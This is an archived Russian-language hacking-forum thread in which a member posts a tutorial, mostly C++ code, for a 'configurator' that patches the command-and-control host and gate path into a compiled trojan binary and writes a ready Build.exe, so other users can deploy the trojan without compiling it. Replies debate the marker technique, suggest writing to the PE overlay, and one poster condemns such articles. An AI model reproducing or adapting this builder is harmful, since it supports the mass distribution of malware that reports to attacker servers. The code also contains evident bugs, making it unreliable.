ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

08.07.2007, 16:14
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
Пишем конфигуратор[c++]
Итак, вы написали супер-троя.Трой стучит по стате,непалится антивирусами и т.д. Но вот проблема:каждому юзеру юзающему вашего троя компилить из исходников неудобно! В этой статье я расскажу вам как написать конфигуратор для вашего детища. Всё наше действо будет состоять из 2 частей:
I)Готовим тело троя
II)Сам конфигуратор
Ok, let`s go! (c)
I) Готовим тело троя. Компилим трой. Все параметры для отстука по стату(к примеру) должны заканчиваться и начинаться на '_'(нам это нужно будет)
Т.е.
Код:
#define host "_megasite.megahost.com_"
#define path "_/mega777/megagate.php_"
Зачем нам такие длинные имена? Почему бы просто не site.com и /gate.php ? Дело в том, что будем править уже готовый .exe`шник
и "переполнять" там что-то очень нежелательно.
К примеру:
Сделаем site.com, а у кого-нибудь юзера стата на megasite.jino-net.ru , В итоге у него ничего не будет работать.
Теперь я советую переименовать откомпиленый трой в virus.dat(к примеру),чтоб всякие ребята не запускали лишний раз наш ехе.
II)Сам конфигуратор. Итак тело у нас в virus.dat
Далее буду просто приводить куски кода с комментами.
Объявем 3 глобальные переменные:
Код:
char host[]="site.com";
char path[]="/777/gate.php";
char body[12000];
Для конфигуратора 2 первые параметра нужно брать из Edit`а. Мне ламо приводить всю работу с VCL(тем более, что это
элементарно), поэтому рассмотрим всё на частном случае. Размер body в зависимости от размера файла. Лучше брать размер на
2-3кило больше размера файла.К примеру: вирь весит 15кб размер вы берёте 17000;
Далее:
Код:
DWORD dwBytesRead ,dw ,size , dw1;
HANDLE hFile = CreateFile("virus.dat",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
//открываем наше тело
size = GetFileSize(hFile,&dw); //получаем кол-во знаков в файле
ReadFile(hFile,body,size ,&dwBytesRead, NULL); //читаем тело в наш массив
Так далее самый ответственный момент. Ищем и заменяем наши параметры.Для этого напишем отдельнуй функцию.
Код:
void param(void){
int x=0;
int y=1;
int c=0;
while(body[x]!='_'){ //вот для чего нам нужны были '_'. Ищем параметр.
x++;
}
//мы остановились на символе '-'
x++;
//Теперь мы на следующем символе. Посмотрим что это: host или path
if(body[x]=='s'){
//итак это хост. Далее очищаем нужное нам место
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y;
//теперь заполняем наш параметр
while(host[c]!='_'){
body[x]=host[c];
x++;
c++;
}
}
else {
//значит это path. Действия теже самые. Только заменяем host на path
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y;
//теперь заполняем наш параметр
while(path[c]!='_'){
body[x]=path[c];
x++;
c++;
}
}
}
Ну и концовка:
Код:
param();//параметра у нас 2
param();
HANDLE hFile1 = CreateFile("Build.exe",GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL);
//создаём новый файл
WriteFile(hFile1,body,size,&dw1,NULL); //пишем в него
CloseHandle(hFile); //закрываем оба файла
CloseHandle(hFile1);
Ну вот, в принципе , и всё. Это всё на С++ , но при желании можно переписать на любой язык или переделать не только для параметров статы.
|
|
|

08.07.2007, 16:49
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме: 3372120
Репутация:
2565
|
|
Идея интересная, но под стандартный трои конфигураторов имхо дофига. И зачем это в статьи, для этого есть раздел кодинг С++, т.к. кроме исходов здесь больше ничего и нет.
А так если я все правильно понял есть вопросы:
1. "_" - таких символов в исполняемом файле дох... и сочетаний с "s" тоже.
2. А если длина ссылки все-таки больше чем length(host+site)?
Последний раз редактировалось [53x]Shadow; 08.07.2007 в 16:56..
|
|
|

08.07.2007, 17:08
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
1. "_" - таких символов в исполняемом файле дох... и сочетаний с "s" тоже.
А вот и нефига. 
|
|
|

08.07.2007, 17:15
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме: 3372120
Репутация:
2565
|
|
Сообщение от Ky3bMu4
А вот и нефига. 
В случайно открытом exe обнаружил 127, из них сочетаний с "s" - 6!
В своем трое - 23, правда сочетаний с "s" нет, но имхо это на удачу...
По-этому лучше использовать сочетание как минимум из трех редко встречаемых символов (те маленькая сигнатура).
|
|
|

08.07.2007, 17:19
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
Ну если и есть такие сочитания, то они походу файла первые. Пробовал на bloodknife`е, моём лоадере, и просто проге вызывающей MessageBox - работает.
|
|
|

23.09.2007, 23:20
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Сообщение от Ky3bMu4
Ну если и есть такие сочитания, то они походу файла первые. Пробовал на bloodknife`е, моём лоадере, и просто проге вызывающей MessageBox - работает.
Господи, что за бред? Пиши в оверлей и не страдай фигней.
"Маразм крепчал" (С) Вариация Чехова, кажется.
Сообщение от DRON-ANARCHY
Блин... во умище... напишите мне кто-нибудь задачку на C++ а то я в нем не шарю, а сдать надо. горит 
Умища не так много как кажется
|
|
|

23.09.2007, 23:36
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
Сообщение от _Great_
Господи, что за бред? Пиши в оверлей и не страдай фигней.
Можно поподробнее про оверлеи? (как я понимаю, overlay - это код, добавленный после основного кода путем расширения последней секции - седня копался в hiew  )
|
|
|

08.07.2007, 21:34
|
|
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
Провел на форуме: 2009677
Репутация:
472
|
|
еще недавно ты называл это билдером 
|
|
|

20.09.2007, 22:56
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
Но вот проблема:каждому юзеру юзающему вашего троя компилить из исходников неудобно!
Наоборот это самое то, когда можно править сурсы, менять команды, добавлять мусор и делать индивидуальные сигны! А конфигураторы обычно пишут для того чтобы юзать\менять настройки чужих программ, т.е. когда нет под рукой исходных кодов!
Ky3bMu4 За старания +!
|
|
|

20.09.2007, 23:52
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
В своем трое - 23, правда сочетаний с "s" нет, но имхо это на удачу...
По-этому лучше использовать сочетание как минимум из трех редко встречаемых символов (те маленькая сигнатура).
КАКИЕ СОЧЕТАНИЯ???
ИМХО за такие статьи убивать надо, чтоб билдить бинарник, изменяя его по шаблону.
НЕТ СЛОВ ребята, нет слов
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|